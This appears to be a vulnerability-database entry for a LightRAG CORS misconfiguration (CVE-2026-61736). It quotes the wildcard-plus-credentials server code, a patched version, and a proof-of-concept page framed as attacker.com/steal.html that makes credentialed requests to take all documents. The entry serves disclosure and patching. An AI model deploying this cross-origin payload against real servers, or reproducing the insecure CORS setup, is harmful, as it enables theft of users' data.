CVE-2026-61736Critical· 9.3▾ AbyssalPoC availableLightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
▾ Abyssal zone — Critical with a public exploit or in-the-wild use
impact 51.2 · likelihood 0.3 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 1 source. Availability, not in-the-wild use.
Exploit-prediction probability, daily snapshots since Jul 20.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.3%
0.3% → 1.4%
Nuclei ×1
The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.
# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*") # default wildcard
# lightrag/api/lightrag_server.py:1379
app.add_middleware(
CORSMiddleware,
allow_origins=["*"], # any origin
allow_credentials=True, # credentials — PROBLEM with wildcard
allow_methods=["*"],
allow_headers=["*"],
)
# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true
Host on any origin. Open in browser where user is logged in to LightRAG:
<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
// Get victim token (or re-use existing session)
const r1 = await fetch(`${TARGET}/login`, {
method: "POST", credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "username=victim&password=known_pass"
});
const { access_token } = await r1.json();
// Exfiltrate all documents
const docs = await (await fetch(`${TARGET}/documents`, {
credentials: "include",
headers: { Authorization: `Bearer ${access_token}` }
})).json();
console.log("STOLEN DOCS:", docs);
})();
</script>
Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.
lightrag-hku <= 1.5.3Upgrade to a patched release:
lightrag-hku 1.5.4Field changes observed since this record was first indexed.
Connected by shared product, vendor, weakness, or advisory.
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CVE-2026-66005Medium· 6.3Jan through 0.8.4, fixed in commit 3e1c1e7, contains a CORS misconfiguration vulnerability in its local API server that allows network-adjacent attackers to bypass trusted host restrictions by exploiting the server's replacement of user-…